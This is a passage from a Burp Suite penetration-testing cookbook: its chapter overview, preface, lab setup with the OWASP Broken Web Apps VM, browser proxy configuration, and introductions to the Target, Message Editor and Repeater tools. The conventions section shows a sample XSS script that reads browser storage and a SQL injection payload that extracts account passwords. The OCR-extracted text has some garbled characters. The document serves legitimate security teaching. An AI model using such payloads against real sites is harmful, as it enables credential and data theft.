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What this book covers

Chapter 1, Getting Started with Burp Suite, provides setup instructions necessary
to proceed through the material of the book.

Chapter 2, Getting to Know the Burp Suite of Tools, begins with establishing the
Target scope and provides overviews to the most commonly used tools within
Burp Suite.

Chapter 3, Configuring, Spidering, Scanning, and Reporting with Burp, helps
testers to calibrate Burp settings to be less abusive towards the target application.

Chapter 4, Assessing Authentication Schemes, covers the basics of
Authentication, including an explanation that this is the act of verifying a person
or object claim is true.

Chapter 5, Assessing Authorization Checks, helps you understand the basics of
Authorization, including an explanation that this how an application uses roles to
determine user functions.

Chapter 6, Assessing Session Management Mechanisms, dives into the basics of
Session Management, including an explanation that this how an application
keeps track of user activity on a website.

Chapter 7, Assessing Business Logic, covers the basics of Business Logic
Testing, including an explanation of some of the more common tests performed
in this area.

Chapter 8, Evaluating Input Validation Checks, delves into the basics of Data
Validation Testing, including an explanation of some of the more common tests
performed in this area.

Chapter 9, Attacking the Client, helps you understand how Client-Side testing is
concerned with the execution of code on the client, typically natively within a
web browser or browser plugin. Learn how to use Burp to test the execution of
code on the client-side to determine the presence of Cross-site Scripting (XSS).



Chapter 10, Working with Burp Macros and Extensions, teaches you how Burp
macros enable penetration testers to automate events such as logins or response
parameter reads to overcome potential error situations. We will also learn about
Extensions as an additional functionality to Burp.

Chapter 11, Implementing Advanced Topic Attacks, provides a brief explanation
of XXE as a vulnerability class targeting applications which parse XML and
SSRF as a vulnerability class allowing an attacker to force applications to make
unauthorized requests on the attacker’s behalf.
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Preface

Burp Suite is a Java-based platform for testing the security of your web
applications, and has been adopted widely by professional enterprise testers.

The Burp Suite Cookbook contains recipes to tackle challenges in determining
and exploring vulnerabilities in web applications. You will learn how to uncover
security flaws with various test cases for complex environments. After you have
configured Burp for your environment, you will use Burp tools such as Spider,
Scanner, Intruder, Repeater, and Decoder, among others, to resolve specific
problems faced by pentesters. You will also explore working with various modes
of Burp and then perform operations on the web using the Burp CLI. Toward the
end, you will cover recipes that target specific test scenarios and resolve them
using best practices.

By the end of the book, you will be up and running with deploying Burp for
securing web applications.



Who this book is for

If you are a security professional, web pentester, or software developer who
wants to adopt Burp Suite for applications security, this book is for you.



To get the most out of this book

All the requirements are updated in the Technical requirements section for each
of the chapter.



Conventions used

There are a number of text conventions used throughout this book.

CodeInText: Indicates code words in text, database table names, folder names,
filenames, file extensions, pathnames, dummy URLSs, user input, and Twitter
handles. Here is an example: "Allow the attack to continue until you reach
payload 50."

A block of code is set as follows:

<script>try{var m = "";var 1 = window.localStorage; var s =
window.sessionStorage; for(i=0;i<1l.length;i++){var 1lKey = 1l.key(i);m
+= 1lKey + "=" + l.getItem(lKey) +

";\n";};for(1i=0;i<s.length;i++){var lKey = s.key(i);m += lKey + "="
+ s.getItem(lKey) +
";\n";};alert(m); }catch(e){alert(e.message); }</script>

Any command-line input or output is written as follows:

user '+union+select+concat (' The+password+for+',6 username, '+is+', +pas
s
word),mysignature+from+accounts+--+

Bold: Indicates a new term, an important word, or words that you see onscreen.
For example, words in menus or dialog boxes appear in the text like this. Here is
an example: "Select a tool from the drop-down listing and click the Lookup Tool
button."

Warnings or important notes appear like this.
Tips and tricks appear like this.



Sections

In this book, you will find several headings that appear frequently (Getting
ready, How to do it..., How it works..., There's more..., and See also).

To give clear instructions on how to complete a recipe, use these sections as
follows:



Getting ready

This section tells you what to expect in the recipe and describes how to set up
any software or any preliminary settings required for the recipe.



How to do it...

This section contains the steps required to follow the recipe.



How it works...

This section usually consists of a detailed explanation of what happened in the
previous section.



There's more...

This section consists of additional information about the recipe in order to make
you more knowledgeable about the recipe.



See also

This section provides helpful links to other useful information for the recipe.



Get in touch

Feedback from our readers is always welcome.

General feedback: If you have questions about any aspect of this book, mention
the book title in the subject of your message and email us at
customercare@packtpub.com.

Errata: Although we have taken every care to ensure the accuracy of our
content, mistakes do happen. If you have found a mistake in this book, we would
be grateful if you would report this to us. Please visit www.packt.com/submit-
errata, selecting your book, clicking on the Errata Submission Form link, and
entering the details.

Piracy: If you come across any illegal copies of our works in any form on the
Internet, we would be grateful if you would provide us with the location address
or website name. Please contact us at copyright@packt.com with a link to the
material.

If you are interested in becoming an author: If there is a topic that you have
expertise in and you are interested in either writing or contributing to a book,

please visit authors.packtpub.com.


http://www.packt.com/submit-errata
http://authors.packtpub.com/

Reviews

Please leave a review. Once you have read and used this book, why not leave a
review on the site that you purchased it from? Potential readers can then see and
use your unbiased opinion to make purchase decisions, we at Packt can
understand what you think about our products, and our authors can see your
feedback on their book. Thank you!

For more information about Packt, please visit packt.com.


http://www.packt.com/

Disclaimer

The information within this book is intended to be used only in an ethical
manner. Do not use any information from the book if you do not have written
permission from the owner of the equipment. If you perform illegal actions, you
are likely to be arrested and prosecuted to the full extent of the law. Packt
Publishing does not take any responsibility if you misuse any of the information
contained within the book. The information herein must only be used while
testing environments with proper written authorizations from appropriate
persons responsible.



Targeting legal vulnerable web
applications

In order for us to properly showcase the functions of Burp Suite, we need a
target web application. We need to have a target which we are legally allowed to
attack.

“Know Your Enemy” is a saying derived from Sun Tzu's The Art of War. The
application of this principle in penetration testing is the act of attacking a target.
The purpose of the attack is to uncover weaknesses in a target which can then be
exploited. Commonly referred to as ethical hacking, attacking legal targets
assists companies to assess the level of risk in their web applications.

More importantly, any penetration testing must be done with express, written
permission. Attacking any website without this permission can result in litigation
and possible incarceration. Thankfully, the information security community
provides many purposefully vulnerable web applications to allow students to
learn how to hack in a legal way.

A consortium group, Open Web Application Security Project, commonly
referred to as OWASP, provides a plethora of resources related to web security.
OWASP is considered the de facto standard in the industry for all things web
security-related. Every three years or so, the group creates a listing of the Top 10
most common vulnerabilities found in web applications.

See here for more information
(https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project).

Throughout this book, we will use purposefully vulnerable web applications
compiled into one virtual machine by OWASP. This setup enables us to legally
attack the targets contained within the virtual machine.


https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

Getting Started with Burp Suite

In this chapter, we will cover the following recipes:

Downloading Burp (Community, Professional)
Setting up a web app pentesting lab

Starting Burp at a command line or an executable
Listening for HTTP traffic, using Burp



Introduction

This chapter provides the setup instructions necessary to proceed through the
material in this book. Starting with downloading Burp, the details include the
two main Burp editions available and their distinguishing characteristics.

To use the Burp suite, a penetration tester requires a target application. This
chapter includes instructions on downloading and installing OWASP
applications contained within a virtual machine (VM). Such applications will
be used throughout the book as targeted vulnerable web applications.

Also included in this chapter is configuring a web browser to use the Burp
Proxy Listener. This listener is required to capture HTTP traffic between the
Burp and the target web application. Default settings for the listener include
an Internet Protocol (IP) address, 127.0.0.1, and port number 8080.

Finally, this chapter concludes with the options for starting Burp. This includes
how to start Burp at the command line, also with an optional headless mode, and
using the executable.



Downloading Burp (Community,
Professional)

The first step in learning the techniques contained within this book is to
download the Burp suite. The download page is available here
(https://portswigger.net/burp/). You will need to decide which edition of the Burp
suite you would like to download from the following:

e Professional
e Community
e Enterprise (not covered)

What is now termed Community was once labeled Free Edition. You may see
both referenced on the internet, but they are one and the same. At the time of this
writing, the Professional edition costs $399.

To help you make your decision, let's compare the two. The Community version
offers many of the functions used in this book, but not all. For example,
Community does not include any scanning functionality. In addition, the
Community version contains some forced throttling of threads when using the
Intruder functionality. There are no built-in payloads in the Community version,
though you can load your own custom ones. And, finally, several Burp
extensions that require Professional will, obviously, not work in the Community
edition.

The Professional version has all functionality enabled including passive and
active scanners. There is no forced throttled. PortSwigger (that is, the name of
the company that writes and maintains the Burp suite) provides several built-in
payloads for fuzzing and brute-forcing. Burp extensions using scanner-related
API calls are workable in the Professional version as well.

In this book, we will be using the Professional version, which means much of the
functionality is available in the Community edition. However, when a feature is
used in this book specific to the Professional edition, a special icon will indicate
this. The icon used is the following:


https://portswigger.net/burp/

Burp Suite Professional



Getting ready

To begin our adventure together, go to https://portswigger.net/burp and
download the edition of the Burp suite you wish to use. The page provides a
slider, as following, which highlights the features of Professional and
Community, allowing you to compare them:

Select edition to view features:

O

Professional

Many readers may choose the Community edition to gain familiarity with the
product prior to purchasing.

Should you choose to purchase or trial the Professional edition, you will need to
complete forms or payments and subsequent email confirmations will be sent to
you. Once your account is created, you may login and perform the download
from the links provided in our account.


https://portswigger.net/burp

Software tool requirements

To complete this recipe, you will need the following:

e Oracle Java (https://www.java.com/en/download/)
¢ Burp Proxy Community or Professional (https://portswigger.net/burp/)
e Firefox Browser (https://www.mozilla.org/en-US/firefox/new/)



https://www.java.com/en/download/
https://portswigger.net/burp/
https://www.mozilla.org/en-US/firefox/new/

How to do it...

After deciding on the edition you need, you have two installation options,
including an executable or a plain JAR file. The executable is only available in
Windows and is offered in both 32-bit or 64-bit. The plain JAR file is available
for Windows, macOS, and Linux.

The Windows executable is self-contained and will create icons in your program
listing. However, the plain JAR file requires your platform to have Java
(https://www.java.com/en/download/) pre-installed. You may choose the current
version of Java (JRE or JDK) so feel free to choose the latest version:



https://www.java.com/en/download/

Download

t& Download for Windows (64-hit)

© Download plain JAR file

A Download for Linux (64-bit)

& Download for Mac 0SX

& Download for Windows (32-bit)

View Checksums

View Checksums

View Checksums

View Checksums

View Checksums

D

Download

D

Download

Download




Setting up a web app pentesting lab

The Broken Web Application (BWA) is an OWASP project that provides a self-
contained VM complete with a variety of applications with known
vulnerabilities. The applications within this VM enable students to learn about
web application security, practice and observe web attacks, and make use of
penetration tools such as Burp.

To follow the recipes shown in this book, we will utilize OWASP's BWA VM. At
the time of this writing, the OWASP BWA VM can be downloaded from
https://sourceforge.net/projects/owaspbwa/files/.



https://sourceforge.net/projects/owaspbwa/files/

Getting ready

We will download the OWASP BWA VM along with supportive tools to create
our web app pentesting lab.



Software tool requirements

To complete this recipe, you will need the following:

e Oracle VirtualBox (https://www.virtualbox.org/wiki/Downloads)

o Choose an executable specific to your platform
Mozilla Firefox Browser (https://www.mozilla.org/en-US/firefox/new/)
7-Zip file archiver (https://www.7-zip.org/download.html)
OWASP BWA VM (https://sourceforge.net/projects/owaspbwa/files/)
Burp Proxy Community or Professional (https:/portswigger.net/burp/)
Oracle Java (https://www.java.com/en/download/)



https://www.virtualbox.org/wiki/Downloads
https://www.mozilla.org/en-US/firefox/new/
https://www.7-zip.org/download.html
https://sourceforge.net/projects/owaspbwa/files/
https://portswigger.net/burp/
https://www.java.com/en/download/

How to do it...

For this recipe, you will need to download the OWASP BWA VM and install it
by performing the following steps:

1. Click Download Latest Version from the OWASP BWA VM link provided
earlier and unzip the file OWASP_Broken_Web_Apps_VM_1.2.7z.
2. You will be presented with a listing of several files, as follows:

M owaspbwa-release-notes.txt

)l OWASP Broken Web Apps-cl1.vmdk

1)) OWASP Broken Web Apps-cl1-s001.vmdk
) OWASP Broken Web Apps-cl1-s002.vmdk
&l OWASP Broken Web Apps-cl1-s003.vmdk
) OWASP Broken Web Apps-cl1-s004.vmdk
) OWASP Broken Web Apps-cl1-s005.vmdk
'] OWASP Broken Web Apps.vmsd

ﬁ OWASP Broken Web Apps.vmxf

@ OWASP Broken Web Apps.vmx

Dl OWASP Broken Web Apps.nvram

3. All file extensions shown indicate the VM can be imported into Oracle
VirtualBox or VMware Player/Workstation. For purposes of setting up the
web application pentesting lab for this book, we will use Oracle VirtualBox.

4. Make a note of the OWASP Broken Web Apps-cli.vmdk file. Open the
VirtualBox Manager (that is, the Oracle VM VirtualBox program).

5. Within the VirtualBox Manager screen, select Machine | New from the top
menu and type a name for the machine, OWASP BWA.

6. Set the type to Linux and version to Ubuntu (64-bit), and then click Next, as
follows:



Create Virtual Machine

Name and operating system

Please choose a descriptive name for the new virtual machine and
select the type of operating system you intend to install on it. The
name you choose will be used throughout VirtualBox to identify this
machine.

Name: OWASP BWA
Type: Linux o @’
Version: Ubuntu (64-bit) %

Expert Mode Next Cancel

7. The next screen allows you to adjust the RAM or leave as suggested. Click

Next.

On the next screen, choose Use an existing virtual hard disk file.

9. Use the folder icon on the right to select OWASP Broken Web Apps-
cli.vmdk file from the extracted list and click Create, as follows:

0o



€ Create Virtual Machine

Hard disk

If you wish you can add a virtual hard disk to the new machine.
You can either create a new hard disk file or select one from the

list or from another location using the folder icon.

If you need a more complex storage set-up you can skip this step
and make the changes to the machine settings once the machine is

created.

The recommended size of the hard disk is 10.00 GB.

(O Do not add a virtual hard disk
(O Create a virtual hard disk now
(® Use an existing virtual hard disk file

OWASP Broken Web Apps-cll.vmdk (Normal, 8.00 GB) - @

Create

Cancel

10. Your VM is now loaded in the VirtualBox Manager. Let's make some minor
adjustments. Highlight the OWASP BWA entry and select Settings from

the top menu.

11. Select the Network section in the left-hand pane and change to Host-only

Adapter. Click OK.



{2 OWASP BWA - Settings ? ¥

=:|= General Network
M| System Adapter 1  Adapter 2  Adapter 3  Adapter 4
Display Enable Network Adapter "
Attached to: Host-only Adapter -~
p Sorage O |

Name: j_'Virtual.Box Host-Onllly Ethernet Ad'a_pter '
w Audio > Advanced

: User Interface

OK Cancel

12. Now let's start the virtual machine. Right-click then choose Start | Normal

Start.
@, & OWASPBWA
@ Powered Off

Settings... Ctrl+S

@ Clone... Ctrl+O ) _

% Remove... Ctrl+R =l Display
Eﬁ Group Ctrl+U Video Memory:

Remote Desktop Se

~ Start > > Normal Start |



13. Wait until the Linux system is fully booted, which may take a few minutes.
After the booting process is complete, you should see the following screen.
However, the IP address shown will be different for your machine:

/

elcome to the OWASP Broken Web Apps UM

t1t This UM has many serious security issues. We strongly recommend that you ru
it only on the "host only” or “NAT" netuork in the UM settings f!!

ou can access the web apps at http:r/192.168.56.101/

ou can administer / configure this machine through the console here, by SSHing
0 192.168.56.101, via Samba at \\192.168.56.101\, or via phpmyadmin at
ittp://192.168.56. 101 /phpmyadmin,

In all these cases, you can use username “root” and password "ouaspbua”.

DUASE Broken Web Applications UM Version 1.2
og in with username = root and password = owaspbua

puaspbua login:

PO T AR |52 {CIOEey

14. The information presented on this screen identifies the URL where you can
access vulnerable web applications running on the VM. For example, in the
previous screenshot, the URL is http://192.168.56.101/. You are given
a prompt for administering the VM, but it is not necessary to log in at this



15.

16.

time.

Open the Firefox browser on your host system, not in the VM. Using the
Firefox Browser on your host machine, enter the URL provided (for
example, http://192.168.56.101/), where the IP address is specific to
your machine.

In your browser, you are presented with an index page containing links to
vulnerable web applications. These applications will be used as targets
throughout this book:



)

owaspbwa

(OWASP Broken Web Applications Project

Verston 1.2

This 1s the VM for the Open Web Application Security Project (OWASP) Broken Web Applications project. It contains many, very

vulnerable web applications, which are listed below. More information about this project can be found i the project User Guide and Home

Page

For detals about the known vulnerabilities n these applications, see https://sourceforge.net/p/owaspbwaltickets/imit=99&

sort= severitytasc.

@) " This VM has many serious security issues. We strongly recommend that you run it only
U on the "host only" or "NAT" network in the virtual machine setfings !!!

TRAINING APPLICATIONS

O OWASP WebGoat

@OWASP ESAPI Java SwingSet Interactive

O OWASP RailsGoat

@OWASP Security Shepherd

@Magical Code Injection Rainbow

@Damn Vulnerable Web Application

O OWASP WebGoat NET

©owAsp Mutlicee I

©owASP Bricks
O st

Obwapp



How it works

Leveraging a customized virtual machine created by OWASP, we can quickly set
up a web app pentesting lab containing purposefully vulnerable applications,
which we can use as legal targets for our exercises throughout this book.



Starting Burp at a command line or
as an executable

For non-Windows users or those Windows users who chose the plain JAR file
option, you will start Burp at a command line each time they wish to run it. As
such, you will require a particular Java command to do so.

In some circumstances, such as automated scripting, you may wish to invoke
Burp at the command line as a line item in your shell script. Additionally, you
may wish to run Burp without a graphical user interface (GUI), referred to as
headless mode. This section describes how to perform these tasks.



How to do it...

We will review the commands and actions required to start the Burp Suite
product:

1. Start Burp in Windows, after running the installer from the downloaded
.exe file, by double-clicking the icon on desktop or select it from the
programs listing:

- Burp Suite Professional

4( Burp Suite Professional

ﬁ Burp Suite Professional Uninstaller

When using the plain JAR file, the executable java is followed by the
option of -jar, followed by the name of the download JAR file.

2. Start Burp at the command line (minimal) with the plain JAR file (Java
must be installed first):

If you prefer more control over the heap size settings (that is, the amount
of memory allocated for the program) you may modify the java
command.

3. The java executable is followed by the -jar, followed by the memory
allocation. In this case, 2 GB (that is, 2g) is allocated for read access
memory (RAM), followed by the name of the JAR file. If you get an error
to the effect that you cannot allocate that much memory, just drop the
amount down to something like 1,024 MB (that is, 1624m) instead.

4. Start Burp at command line (optimize) with the plain JAR file (Java must
be installed first):



C:\Burp Jar Files>java -jar -Xmx2g burpsuite pro 1.7.33.jar

5. Itis possible to start Burp at the command line and to run it in headless
mode. Headless mode means running Burp without the GUI.

For the purposes of this book, we will not be running Burp in headless
mode, since we are learning through the GUI. However, you may require
this information in the future, which is why it is presented here.

6. Start Burp at the command line to run in headless mode with the plain JAR
file (Java must be installed first):

C:\Burp Jar Files>java -jar -Djava.awt.headless=true -Xmx2g burpsuite pro 1.7.33.jar

Note the placement of the parameter -Djava.awt .headless=true
immediately following the -jar option and before the name of the JAR
file.

7. If successful, you should see the following:

Proxy: Proxy service started on 127.0.0.1:8080

Press Ctrl + C or Ctrl + Z to stop the process.

8. It is possible to provide a configuration file to the headless mode command
for customizing the port number and IP address where the proxy listener is
located.

Please consult PortSwigger's support pages for more information on this

topic: https://support.portswigger.net/customer/portal/questions/16805563-burp-
command-line.

9. In each startup scenario described, you should be presented with a splash
screen. The splash screen label will match whichever edition you decided
to download, either Professional or Community.

10. You may be prompted to update the version; feel free to do this, if you like.
New features are constantly added into Burp to help you find
vulnerabilities, so upgrading the application is a good idea. Choose Update
Now, if applicable.


https://support.portswigger.net/customer/portal/questions/16805563-burp-command-line

11.

12.

13.

Next, you are presented with a dialog box asking about project files and
configurations:

Temporary project

New project on disk

Open existing project

If you are using the Community edition, you will only be able to create a
temporary project. If you are using the Professional edition, create a new
project on disk, saving it in an appropriate location for you to find. Click
Next.

The subsequent splash screen asks you about the configurations you would
like to use. At this point, we don't have any yet, so choose Use Burp
defaults. As you progress through this book, you may wish to save
configuration settings and load them from this splash screen in the future,
as follows:



@ Select the configuration that you would like to load for this project. l BU R PSU‘TE
PROFESSIONAL

Use options saved with project

(J Load from configuration file Fie

Fie: | | Chouse i,

(J Defaut to the above in future
() Disable extensions

oo | |t | St

14. Finally, we are ready to click Start Burp.



How it works...

Using either the plain JAR file or the Windows executable, you can launch Burp
to start the Proxy listener to capture HTTP traffic. Burp offers temporary or
permanent Project files to save activities performed in the suite.



Listening for HTTP traffic, using
Burp

Burp is described as an intercepting proxy. This means Burp sits between the
user's web browser and the application's web server and intercepts or captures all
of the traffic flowing between them. This type of behavior is commonly referred
to as a Proxy service.

Penetration testers use intercepting proxies to capture traffic flowing between a
web browser and a web application for the purposes of analysis and
manipulation. For example, a tester can pause any HTTP request, thus allowing
parameter tampering prior to sending the request to the web server.

Intercepting proxies, such as Burp, allow testers to intercept both HTTP requests
and HTTP responses. This allows a tester to observe the behavior of the web
application under different conditions. And, as we shall see, sometimes, the
behaviors are unintended from what the original developer expected.

To see the Burp suite in action, we need to configure our Firefox browser's
Network Settings to point to our running instance of Burp. This enables Burp to
capture all HTTP traffic that is flowing between your browser and the target web
application.



Getting ready

We will configure Firefox browser to allow Burp to listen to all HTTP traffic
flowing between the browser and the OWASP BWA VM. This will allow the
proxy service within Burp to capture traffic for testing purposes.

Instructions are available on PortSwigger at
(https://support.portswigger.net/customer/portal/articles/1783066-configuring-
firefox-to-work-with-burp) and we will also step through the process in the
following recipe.



https://support.portswigger.net/customer/portal/articles/1783066-configuring-firefox-to-work-with-burp

How to do it...

The following are the steps you can go through to listen to all HTTP traffic
using Burp:

1.
2.

3.

Open the Firefox browser and go to Options.

In the General tab, scroll down to the Network Proxy section and then click
Settings.

In the Connection Settings, select Manual proxy configuration and type in
the IP address of 127.0.0.1 with port 8086. Select the Use this proxy server
for all protocols checkbox:

Make sure the No proxy for the textbox is blank, as shown in the following
screenshot, and then click OK:



Connection Settings

Configure Proxy Access to the Internet
No proxy
O Auto-detect proxy settings for this network

Use system proxy settings

® Manual proxy configuration

HTTP Proxy  127.00.1 Port 8080

v Use this proxy server for all protocols

SSLProxy 127.0.0.1 Port 8080
ETP Proxy 127.0.0.1 Port 8080
SOCKS Host  127.0.0.1 Port 8080

SOCKSv4 @ SOCKS V5

No Proxy for

Example: .mozilla.org, .netnz, 192.168.1.0/24

Automatic proxy configuration URL

oK Cancel Help

5. With the OWASP BWA VM running in the background and using Firefox to
browse to the URL specific to your machine (that is, the IP address shown



on the Linux VM in VirtualBox), click the reload button (the arrow in a
circle) to see the traffic captured in Burp.

6. If you don't happen to see any traffic, check whether Proxy Intercept is
holding up the request. If the button labeled Intercept is on is depressed, as
shown in the following screenshot, then click the button again to disable the
interception. After doing so, the traffic should flow freely into Burp, as
follows:

Burp Intruder Repeater Window Help

i

Target | Proxy | Spider I Scanner T Intruder I Repeater I Sequencer ]

Intercept | HTTP history I WebSockets history I Opticns ]

Drop ‘ Intercept iz on \ Action

il |
=
|y
-
L

oJ

Hex

&
=

In the following, Proxy | Intercept button is disabled:

Burp Intruder Repeater Window Help

Target | Proxy | Spider T scanner T Intruder I Repeater I sequencer l

‘ Intercept ! HTTP history T WebSockets history T Options ]

Forward Drop Intercept is off Action
]




7. If everything is working properly, you will see traffic on your Target | Site
map tab similar to what is shown in the following screenshot. Your IP
address will be different, of course, and you may have more items shown
within your Site map. Congratulations! You now have Burp listening to all
of your browser traffic!

Burp Intruder Repeater Windo

I Target | Proxy I Spider T =Ca
‘ Site map II Scope ]

Fitter: Hiding not found tems, hidin

o hitp:/r92.163.56.101
[/

animatedcollapse.js

images

index.css

jquery.min.js

] e




How it works...

The Burp Proxy service is listening on 127.0.0.1 port 8080. Either of these
settings can be changed to listen on an alternative IP address or port number.
However, for the purpose of learning, we will use the default settings.



Getting to Know the Burp Suite of
Tools

In this chapter, we will cover the following recipes:

Setting the Target Site Map
Understanding Message Editor
Repeating with Repeater
Decoding with Decoder
Intruding with Intruder



Introduction

This chapter provides overviews of the most commonly used tools within Burp
Suite. The chapter begins by establishing the Target scope within the Target Site
Map. This is followed by an introduction to the Message Editor. Then, there will
be some hands-on recipes using OWASP Mutillidae II to get acquainted with
Proxy, Repeater, Decoder, and Intruder.



Software tool requirements

To complete the recipes in this chapter, you will need the following:

¢ Burp Proxy Community or Professional (https://portswigger.net/burp/)
e The Firefox browser configured to allow Burp to proxy traffic
(https://www.mozilla.org/en-US/firefox/new/)



https://portswigger.net/burp/
https://www.mozilla.org/en-US/firefox/new/

Setting the Target Site Map

Now that we have traffic flowing between your browser, Burp, and the OWASP
BWA virtual machine, we can begin setting the scope of our test. For this recipe,
we will use the OWASP Mutillidae IT link
(http://<Your_VM_Assigned_IP_Address>/mutillidae/) available in the
OWASP BWA VM as our target application.

Looking more closely at the Target tab, you will notice there are two subtabs
available: Site map and Scope. From the initial proxy setup between your
browser, Burp, and the web server, you should now have some URLs, folders,
and files shown in the Target | Site map tab. You may find the amount of
information overwhelming, but setting the scope for our project will help to
focus our attention better.



Getting ready

Using the Target | Site map and Target | Scope tab, we will assign the URL for
mutillidae (http://<Your_VM_Assigned_IP_Address>/mutillidae/) as

the scope.



How to do it...

Execute the following steps to set the Target Site Map:

1. Search for the folder mutillidae and right-click on Add to scope. Notice
the brief highlighting of the Target | Scope subtab, as follows:



_[ Target TPrnxy T Spider TScanner Tlntruder T Repeater T Sequencer T

oo )

Fiter: Hiding not found tems; hiding CSS, image and general binary content; hiding

> hitp://1-liner.org
¥ [ » hitp://192.168.56.101
[ /

» [T AppSensorDemo
MCIR

WackoPicko
WebGoat
animatedcollapse.js
awstats
bVWAPP
bodgeit
cyclone
dom-xss-example. htmi
dvwa
gallery2
getboo
ghost
gruyere
gid-php
hackxor_intro.php
joomia
jquery.min.js
mandiant-struts-forms.
mono
mutillidae

- mutilidae

v

v

LR

v
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» [0 ESAPLJava-SwingSet-Interactive

OWASP-CSRFGuard-Test-Application. html

4]
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™

Contents

Host
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http://192.168.56
http://192.168.56
http://192.168.56
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User-Agent: |

Firefox/61.0

Accept: text
Accept-Lancgu
Accept-Encod

| http://192.168.56.101/mutillidae

Add to scope

Spider this branch



2. Upon adding the folder mutillidae to your scope, you may be presented
with a Proxy history logging dialog box, as follows. You may choose to
avoid collecting messages out of your cope by clicking Yes. Or you may
choose to continue to have the Proxy HTTP History table collect any
messages passing through Burp, even if those messages fall outside the
scope you've identified. For our purposes, we will select Yes:

A p
»

El You have added an item to Target scope. Do vou want Burp Proxy
- to stop sending out-of-scope items to the history or other Burp
tools?

Answering “ves” will avoid accumulating project data for
out-of-scope items.

[ ] Always take the same action in future I Yes ‘ [ No J

3. Flipping over the Target | Scope tab, you should now see the full URL for
the OWASP Mutillidae II, shown in the Include in scope table, as follows:



JTarget I Proxy ISpider I Scanner I Intruder T Repeater I Seguencer I Decoder I Comparer Ifxtender T Project

e [

Target Scope

@ Define the in-scope targets for your current work. This configuration affects the behavior of tools throughout the suite.”
URL paths.

(] Use advanced scope control

Include in scope

Add Enabled | Prefix

] http:/1192.168.56.101/mutillidae

T
. g

Edit

il

Remove b

Paste URL

8

Load ...

.-—
S

Exclude from scope

Add Enabled Prefix

—_—
.

Edit

Remove b

I

Paste URL |

E
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—
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How it works...

The Message Editor displays detailed information any HTTP message flowing
through the Proxy listener. After setting up Proxy to capture HTTP traffic, as
seen in your Target | Site map and Burp Proxy | HTTP history tab, you are able
to select any single message to reveal the Message Editor. Each editor contains
the request and response sides of the message, so long as the message is properly
proxied through Burp.



Understanding the Message Editor

On almost every tool and tab within Burp Suite that display an HTTP message,
you will see an editor identifying the request and response. This is commonly
referred to as the Message Editor. The Message Editor allows viewing and
editing HTTP requests and responses with specialties.

Within the Message Editor are multiple subtabs. The subtabs for a request
message, at a minimum, include the following:

e Raw
e Headers
e Hex

The subtabs for a response message include the following:

Raw

Headers

Hex

HTML (sometimes)
Render (sometimes)

The Raw tab gives you the message in its raw HTTP form. The Headers tab
displays HTTP header parameters in tabular format. The parameters are editable,
and columns can be added, removed, or modified in the table within tools such
as Proxy and Repeater.

For requests containing parameters or cookies, the Params tab is present.
Parameters are editable, and columns can be added, removed, or modified in the
table within tools such as Proxy and Repeater.

Finally, there's the Hex tab, which presents the message in hexadecimal format;
it is, in essence, a hex editor. You are permitted to edit individual bytes within
tools such as Proxy and Repeater, but those values must be given in two-digit
hexadecimal form, from 00 through FF.



Getting ready

Let's explore the multiple tabs available in the Message Editor for each request
and response captured in Burp.



How to do it...

Ensure you have traffic flowing between your browser, Burp, and the OWASP
BWA virtual machine.

1. Looking at the Target | Site map tab, notice the Message Editor section:

_[ Request I Response ]

J Raw I Headers I Hex ]

GET /mutillidae/ HTTP/1.1

Host: 19Z.16B.5&6.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4)
AppleWebKit /537.36 (FHTML, like Gecko) Chrome/eZ.0.3202.9
Safari/537.36

Aecept:

text/htunl, application/xhtnl+xnl, application/xml;g=0.9,*/*;q=0
.8

Apcept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://19Z.1e8.56.101/

Connection: close

Upgrade-Insecure-Requests: 1

2. When viewing a request, note that the subtabs available include Raw,
Headers, and Hex, at a minimum. However, in the case of a request
containing parameters or cookies, the Params subtab is also available:



_[ Request I Response 1

! Raw I Params !l Headers I Hex ]

POST reguest to /mutilidaefindex.php

Type | Name | Value

URL page login.php

Cookie showhints 1

Cookie PHPSESSID juttplah3jsrpgBh03diddodd2
Cookie acopendivids swingset jotto, phpbb2 redmine
Cookie acgroupswithpersist nada

Body username admin

Body password adminpazs

Body login-php-submit-button Login

Body encoding: application/x-www-form-urlencoded

3. The other side of the message is the Response tab, containing the Raw,
Headers, Hex subtabs, and sometimes HTML and Render. These are the
various formats provided for the HTTP response to the request. If the
content is HTML, then the tab will appear. Likewise, the Render tab
enables HTML display as it would be presented in a browser but without
any JavaScript executed:



I

_[Raw I Headers T Hex I HTML I Render ]

HTTP/1l.1 200 0K

Date: Mon, Z7 Aug 2018 11:07:03 GHMT

Server: Apache/Z.2.14 (Ubuntu) mod mono/2.4.3
PHP/5.3.2-1lubuntud. 30 with Suhosin-Patch proxy html/3.0.1
mod python/3.3.1 Python/Z.6.5 mod ss1/2.2.14 Open35L/0.3.8k
Phusion Passenger/4.0.38 mod perl/Z.0.4 Perl/v5.10.1
#-Powered-By: PHP/5.35.Z2-1lubuntu4. 30

Logged-In-User:

Vary: Accept-Encoding
Content-Length: 50373
Connection: close
Content-Type: text/html



Repeating with Repeater

Repeater allows for slight changes or tweaks to the request, and it is displayed in
the left-hand window. A Go button allows the request to be reissued, and the
response is displayed in the right-hand window.

Details related to your HTTP request include standard Message Editor details
such as Raw, Params (for requests with parameters or cookies), Headers, and
Hex.

Details related to the HTTP Response include standard Message Editor details
including Raw, Headers, Hex, and, sometimes, HTML and Render.

At the bottom of each panel is a search-text box, allowing the tester to quickly
find a value present in a message.



Getting ready

Repeater allows you to manually modify and then re-issue an individual HTTP
request, analyzing the response that you receive.



How to do it...

1. From the Target | Site map or from Proxy | HT'TP history tabs (shown in
the following screenshot), right-click a message and select Send to
Repeater:



WW Spider I Scanner ‘ Intruder [Repeater I Sequencer I Decoder I Comparer [ Extender IPruject

Intercept | HTTP history IW&bSuckets history N Options 1

Fiter: Hiding C33, image and general binary content

$ A Host Method | URL Params | Edted | Staus
1 hip192.168.56.101 GET | 200
3 hitpid192 166.56.101 GET  /animatedcolapse.s 200

4 hitp/M92168.56.101 GET  fauerymns 200
10 hitp192.168.56.101 GET  /mutiidae 301
1 hitp192.168.56.101 GET  Imutilidae/ 00
q

_[Requesi Response

_[RBW \[ Headers [ Hex 1

GET /mutillidae/ HITR/1.1
Host: 192.1e8.56.101
User-Agent: Mozilla/s.0 (Windows NT 10.0; WOWE4) AppleWebRiq Sendio Spider
